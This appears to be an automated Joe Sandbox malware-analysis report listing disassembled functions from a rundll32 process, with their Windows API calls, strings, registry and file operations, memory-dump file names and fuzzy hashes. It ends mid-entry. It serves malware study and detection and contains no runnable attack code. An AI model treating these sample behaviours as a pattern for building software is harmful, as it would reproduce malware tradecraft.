Part of subcall function 6D4AC22C: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,?,?,?,6D4A9E90,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC27F

Part of subcall function 6D4AC2C6: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,6D4A9EB8,?,?,?,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC319

Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D4B0487
Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B04A3

Strings

25PSZIQCZinuzv7U2, xrefs: 6D4A9AA4

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$Xlength_error@std@@strlen$CommandInitializeLineUninitializemallocmemcpy
String ID: 25PSZIQCZinuzv7U2
API String ID: 255107591-1401351445
Opcode ID: 770f57a16bf453ef541e0a9fd635f33082ae9150d726f810c143f03070936f8f
Instruction ID: ea8883affecfa1a963f839c8a82c4a45fc5b7e84df80d288b84590e880034188
Opcode Fuzzy Hash: 770f57a16bf453ef541e0a9fd635f33082ae9150d726f810c143f03070936f8f
Instruction Fuzzy Hash: 80C1F1309052289FDB65DBA4CC94FDCB7B4BF28314F1581EAE21AA72A1DB315E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 046A1E84 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 046A1EFA
GetTickCount.KERNEL32 ref: 046A1FB2
MulDiv.KERNEL32(?,00000064,?), ref: 046A1FE2
wsprintfW.USER32 ref: 046A1FF3

Strings

... %d%%, xrefs: 046A1FED

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: ce358872d5aeb60455b202988113c50034fe338e436b10f35487796497c66555
Instruction ID: c3f6fa7d84112dca7c98e913ec35c3d52ceacdac30a17b256ec2ac3f0e4c385b
Opcode Fuzzy Hash: ce358872d5aeb60455b202988113c50034fe338e436b10f35487796497c66555
Instruction Fuzzy Hash: 9A5157706047028BE714CF2AD960A6ABBE5EB88B44F14496DE855C7380FB35FD54CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 046B2C01 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 046B2B9C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,7FFFFFFF), ref: 046B2DC4
SysFreeString.OLEAUT32(00000000), ref: 046B2DD1
SysFreeString.OLEAUT32(?), ref: 046B2DD6
SysFreeString.OLEAUT32(00000000), ref: 046B2DD9

Strings

S&%, xrefs: 046B2C34

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: String$Free$Uninitialize
String ID: S&%
API String ID: 3438782679-2433871640
Opcode ID: f1f8fec658580ada799a676a253c6d24a0f44dfeea1bb9418b5ee44e1b07f4f2
Instruction ID: 6a0cf5875f01479654cecbd33a2e7340f66aa5d66067406be56a3d70c1503df9
Opcode Fuzzy Hash: f1f8fec658580ada799a676a253c6d24a0f44dfeea1bb9418b5ee44e1b07f4f2
Instruction Fuzzy Hash: A1416D30E00218DFCF14DFA4C8A49EDB7F5FF48304B1045ADE416AB291EB35A985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 046A9F7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?), ref: 046A9FD1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 046AA03F
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 046AA0A3
CloseHandle.KERNEL32(00000000), ref: 046AA0AA

Strings

end_install, xrefs: 046A9F83

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNameWrite
String ID: end_install
API String ID: 1149019145-3120950416
Opcode ID: 251155f36783986116a1947db2ba9a7934e2b3f927749f23c9276f2457005c9a
Instruction ID: 4df5846a5827712d10c59c3f8d858ed38aa6fcdcd4e6f85414b877ff7936917a
Opcode Fuzzy Hash: 251155f36783986116a1947db2ba9a7934e2b3f927749f23c9276f2457005c9a
Instruction Fuzzy Hash: 6031C171900604ABDB249F90DC59BEE7378EF18708F50069DE94AA2191FB706E98CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 046A4916 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll,00000400,00000000,00000000), ref: 046A4973
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll), ref: 046A497A

Strings

C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll, xrefs: 046A492A, 046A494A, 046A4969, 046A4979, 046A49D1
C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp, xrefs: 046A496C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp$C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll
API String ID: 3109718747-2616453392
Opcode ID: 67f92ddf4e60152322e2847933a9e32450dd02f6523039514bed3c006fda57a0
Instruction ID: 339dd7da2f30591940b5409f396b0e1f8151a91a60f0e89ff99e7ac4ddbff18e
Opcode Fuzzy Hash: 67f92ddf4e60152322e2847933a9e32450dd02f6523039514bed3c006fda57a0
Instruction Fuzzy Hash: 0021C1326046408BE724EF249C4467EB3D5BB84218F11896DE955D7381FE74EC614B52

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BDAEB Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D4BDB28
dllmain_crt_dispatch.LIBCMT ref: 6D4BDB3F
dllmain_raw.LIBCMT ref: 6D4BDB87
dllmain_crt_dispatch.LIBCMT ref: 6D4BDB9A
dllmain_raw.LIBCMT ref: 6D4BDBAD

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 929bcafa20034e4672c2111b2c4b7032789fdc429d6b1602b005b4207eb684af
Instruction ID: db88203c544038ba9ad9f75279dbc3d02f26805bce18c7bf5489fc5c1058317d
Opcode Fuzzy Hash: 929bcafa20034e4672c2111b2c4b7032789fdc429d6b1602b005b4207eb684af
Instruction Fuzzy Hash: 10216D72D0C65AABCB218E14C840E6F3A79EBE5BA4B1145A9FC1A5B254D3318D429FF0

Uniqueness

Uniqueness Score: -1.00%

Function 046A8295 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 325COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 046A82B7
GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 046A82E4
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 046A83A3

Strings

%02x, xrefs: 046A8609

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Path$FolderInformationTempVolume
String ID: %02x
API String ID: 355044727-560843007
Opcode ID: f080481cba4f6461840029c6d951dc1184718e70fb405c0fdfdcb065c58a2fbc
Instruction ID: 7431823072b9b3271876deaea422b4cb40e96f7a6ff9f9449809e43ff4f875f5
Opcode Fuzzy Hash: f080481cba4f6461840029c6d951dc1184718e70fb405c0fdfdcb065c58a2fbc
Instruction Fuzzy Hash: EED1A3B19006189BEB28DF24CC84BEEB779EF45304F1446D9D649A7281FB70AED48F58

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9A07 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205stringCOMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 6D4A9A70
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4A9A82

Part of subcall function 6D4B2649: memcpy.VCRUNTIME140(?,?,?,?), ref: 6D4B267A

Part of subcall function 6D4B29FB: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4B2A06

Part of subcall function 6D4AC22C: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,?,?,?,6D4A9E90,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC27F

Part of subcall function 6D4AC2C6: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,6D4A9EB8,?,?,?,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC319

Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D4B0487
Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B04A3

CoUninitialize.OLE32(?,?,0000000A), ref: 6D4A9D77

Strings

25PSZIQCZinuzv7U2, xrefs: 6D4A9AA4

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Xlength_error@std@@freestrlen$CommandLineUninitializememcpy
String ID: 25PSZIQCZinuzv7U2
API String ID: 1630361675-1401351445
Opcode ID: 6178141af2ad9ce873d65e6c95b48cd8ea1683a7456bdc259fd5ca6e4114fa5c
Instruction ID: d1a9d55c6b8a4cabd4871467160b8ecac42c3d858594fe0e77d9b5e8f8b874c9
Opcode Fuzzy Hash: 6178141af2ad9ce873d65e6c95b48cd8ea1683a7456bdc259fd5ca6e4114fa5c
Instruction Fuzzy Hash: 8AA1F4319051289FDB65DB64CC90FDDB774BF28314F1542EAE21AA31A5DB306E85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 046A3DEF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000000,?,?), ref: 046A3E70
SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 046A3E89

Strings

!, xrefs: 046A3E38

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 4511fa6ba5b19b6ec08d2b9bc18fb1f85d6ddd932e59d512bca80be79883decd
Instruction ID: 4574cba22f8039c4b6984da5f7fbb50dbaac5dd73790953f780c0c0ea84b6e14
Opcode Fuzzy Hash: 4511fa6ba5b19b6ec08d2b9bc18fb1f85d6ddd932e59d512bca80be79883decd
Instruction Fuzzy Hash: A221D5716047109BE3389F34D859B3FB7E4EBC4758F00091DF94A86381FA74AD918E95

Uniqueness

Uniqueness Score: -1.00%

Function 046A46E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp), ref: 046A4743

Part of subcall function 046A1E84: GetTickCount.KERNEL32 ref: 046A1EFA
Part of subcall function 046A1E84: GetTickCount.KERNEL32 ref: 046A1FB2
Part of subcall function 046A1E84: MulDiv.KERNEL32(?,00000064,?), ref: 046A1FE2
Part of subcall function 046A1E84: wsprintfW.USER32 ref: 046A1FF3

RegSetValueExW.KERNEL32(?,?,00000000,?,C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp,00000000), ref: 046A47A3
RegCloseKey.KERNEL32(?), ref: 046A47B0

Strings

C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp, xrefs: 046A473E, 046A4761, 046A4783, 046A4794

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CountTick$CloseValuelstrlenwsprintf
String ID: C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp
API String ID: 3465457590-922161716
Opcode ID: d05a068749ad57566117b3ea489658388d58ad943bc3c99990fc879f5bb5133b
Instruction ID: 731e6848f7633b10e1906b90fbf24700d0988af68b138d0fa769a0b74d5e2c06
Opcode Fuzzy Hash: d05a068749ad57566117b3ea489658388d58ad943bc3c99990fc879f5bb5133b
Instruction Fuzzy Hash: 34212F326487409BE364AF74A844B6EB3E1FBC8708F00441DF6549A281FEB8AD918F85

Uniqueness

Uniqueness Score: -1.00%

Function 046A266E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(C:\,003A0043,00000400,003A0043,00000007,046A238D,00000000,00000000,?,00000000), ref: 046A267C

Part of subcall function 046A2610: CharNextW.USER32(00000000,00000000,02E9C140,?,00000001,046A367C), ref: 046A261D
Part of subcall function 046A2610: CharNextW.USER32(00000000,?,00000001,046A367C), ref: 046A2622
Part of subcall function 046A2610: CharNextW.USER32(00000000,?,00000001,046A367C), ref: 046A263C

Part of subcall function 046A2FDE: CharNextW.USER32(046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3051
Part of subcall function 046A2FDE: CharNextW.USER32(046A1393,00000000,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3062
Part of subcall function 046A2FDE: CharNextW.USER32(046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3067
Part of subcall function 046A2FDE: CharPrevW.USER32(046A1393,046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A307F

lstrlenW.KERNEL32(C:\,00000000,?,00000000), ref: 046A26C7
GetFileAttributesW.KERNEL32(C:\,?,00000000), ref: 046A26D9

Part of subcall function 046A30A4: FindFirstFileW.KERNEL32(00000000,047007A0,00000000,046A3740), ref: 046A30AC
Part of subcall function 046A30A4: FindClose.KERNEL32(00000000), ref: 046A30B8

Strings

C:\, xrefs: 046A2676, 046A267B, 046A26C6, 046A26D8

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID: C:\
API String ID: 1879705256-3404278061
Opcode ID: 7a8694718ff55733858331db404fa2b2dff3e1833a567eb9a1800a2dd6f3aae2
Instruction ID: 9414bd5a330dd8e5d18c9db8d9c2a3749ffe8d5574c48174659f6c3f3258ac5a
Opcode Fuzzy Hash: 7a8694718ff55733858331db404fa2b2dff3e1833a567eb9a1800a2dd6f3aae2
Instruction Fuzzy Hash: C2F0F971382E201BE72826345DB423E16556F1675870C2AECFC02D23C1FA14FC618D64

Uniqueness

Uniqueness Score: -1.00%

Function 046A282E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 046A2857
GetTempFileNameW.KERNEL32(055D5820,0073006E,00000000,055D5020), ref: 046A2870

Strings

n, xrefs: 046A2849
a, xrefs: 046A2850

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: a$n
API String ID: 1716503409-3988182524
Opcode ID: f95b6ef79822c106b0fb80d0a6b6ab5aee0d6ec21e6567ece94e3a3bd7b63138
Instruction ID: ee3da2a9cbab333b101d1c07a9a0a202531bc68f2c2e0fde71487b36f1a77716
Opcode Fuzzy Hash: f95b6ef79822c106b0fb80d0a6b6ab5aee0d6ec21e6567ece94e3a3bd7b63138
Instruction Fuzzy Hash: CCF0C831B00308EBD718CF65DC55BAEB7BADF84754F10806EE50197280FAB45D048BA5

Uniqueness

Uniqueness Score: -1.00%

Function 046A2797 Relevance: 6.1, APIs: 4, Instructions: 52filestringCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 046A27BB
CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 046A27D4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 046A27EC
lstrcmpW.KERNEL32(003A0043,?), ref: 046A27F8

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: File$AttributesCreateModuleNamelstrcmp
String ID:
API String ID: 3034808285-0
Opcode ID: d4d0622d4aac5ee7b1a0338e1a2d4adcd0e5ceed292eb60f3f8d31d6ce56e2ef
Instruction ID: d40a516aa668dee79eeee8320c76f75ace4b83aee3199ad1bd52fad05bf7c9ff
Opcode Fuzzy Hash: d4d0622d4aac5ee7b1a0338e1a2d4adcd0e5ceed292eb60f3f8d31d6ce56e2ef
Instruction Fuzzy Hash: A201B9B1345304AFD7249B24DC99F77B79DE788710F00452EBA56C33C1E9746C4486B1

Uniqueness

Uniqueness Score: -1.00%

Function 046A21BB Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00000000), ref: 046A21FD
GetLastError.KERNEL32 ref: 046A2207
SetFileSecurityW.ADVAPI32(00000000,80000007,00000001), ref: 046A221E
GetLastError.KERNEL32 ref: 046A222C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: bc8ae3189491e18e30047a245848ea8b65c2ea15fafb06c620579097026e4f55
Instruction ID: 4ca0525adaf0bae7ea89896799d047f0b122d97f9590e7a19fc9fc33ab6c7908
Opcode Fuzzy Hash: bc8ae3189491e18e30047a245848ea8b65c2ea15fafb06c620579097026e4f55
Instruction Fuzzy Hash: 310128B5E00209DFEB109FA4D848BBEBBF8FF54719F104559E505E2240F778AA048B61

Uniqueness

Uniqueness Score: -1.00%

Function 046A2BAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000800,00000000,02E9C140,00000000,00000800,00000000,02E9C140,?,Exec,80000002,80000002,00000002,046A2E5C,Exec,Exec), ref: 046A2BEC
RegCloseKey.KERNEL32(?), ref: 046A2BF7

Strings

Exec, xrefs: 046A2BB0

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CloseQueryValue
String ID: Exec
API String ID: 3356406503-459137531
Opcode ID: a7b57a5aaec0b743514b98047a6ca18fc8f38d89f50bd3d27bc0fddae2ed2d7a
Instruction ID: f6bfc237b2efd408608379bd9c13c902c96fb483c7e749dcc50c41ee65ad196b
Opcode Fuzzy Hash: a7b57a5aaec0b743514b98047a6ca18fc8f38d89f50bd3d27bc0fddae2ed2d7a
Instruction Fuzzy Hash: AD017CBA65020AABDB208FA4CC16EEE77E8EF04304F100565F801D3210E374EEA4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 046A314B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,UXTHEME,046A11B9), ref: 046A3157
GetProcAddress.KERNEL32(00000000), ref: 046A3174

Part of subcall function 046A30C6: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 046A30EA
Part of subcall function 046A30C6: wsprintfW.USER32 ref: 046A3123
Part of subcall function 046A30C6: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 046A3137

Strings

UXTHEME, xrefs: 046A314B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: UXTHEME
API String ID: 2547128583-2858369361
Opcode ID: f9434001d60c1406e7929ef5762a72c5db5ea4a3082d24613b7265dd9afc4473
Instruction ID: f380ec85453d8af2e63bae00e8ac5f6881be6a9db1318250dc58fcd9b8d2b0e6
Opcode Fuzzy Hash: f9434001d60c1406e7929ef5762a72c5db5ea4a3082d24613b7265dd9afc4473
Instruction Fuzzy Hash: 5BD05E317004009B5B591B76F81857E32AEEEA6A2270A501DF802C7360FBA8EC525BA4

Uniqueness

Uniqueness Score: -1.00%

Function 046A2773 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(Exec,Exec,00000001,046A3935,Exec,?,?), ref: 046A2778
SetFileAttributesW.KERNEL32(Exec,00000000,?,?), ref: 046A278C

Strings

Exec, xrefs: 046A2774, 046A2777, 046A278B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AttributesFile
String ID: Exec
API String ID: 3188754299-459137531
Opcode ID: 4aaccefd65c77148ce59d0294c2364c846b400e2fe57ac9f1ea2b340fea88860
Instruction ID: 9cd782346f57a60a71fc3db38aaf4eac9a9979cf6181b82495e93cdd9368b0ee
Opcode Fuzzy Hash: 4aaccefd65c77148ce59d0294c2364c846b400e2fe57ac9f1ea2b340fea88860
Instruction Fuzzy Hash: 19D012326014306B4314217DFC4C8BBAA6FDAD6A71319436AF8B2D33E4FB645C1345A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2DD9 Relevance: 5.0, APIs: 2, Strings: 1, Instructions: 542COMMON

Download Yara Rule

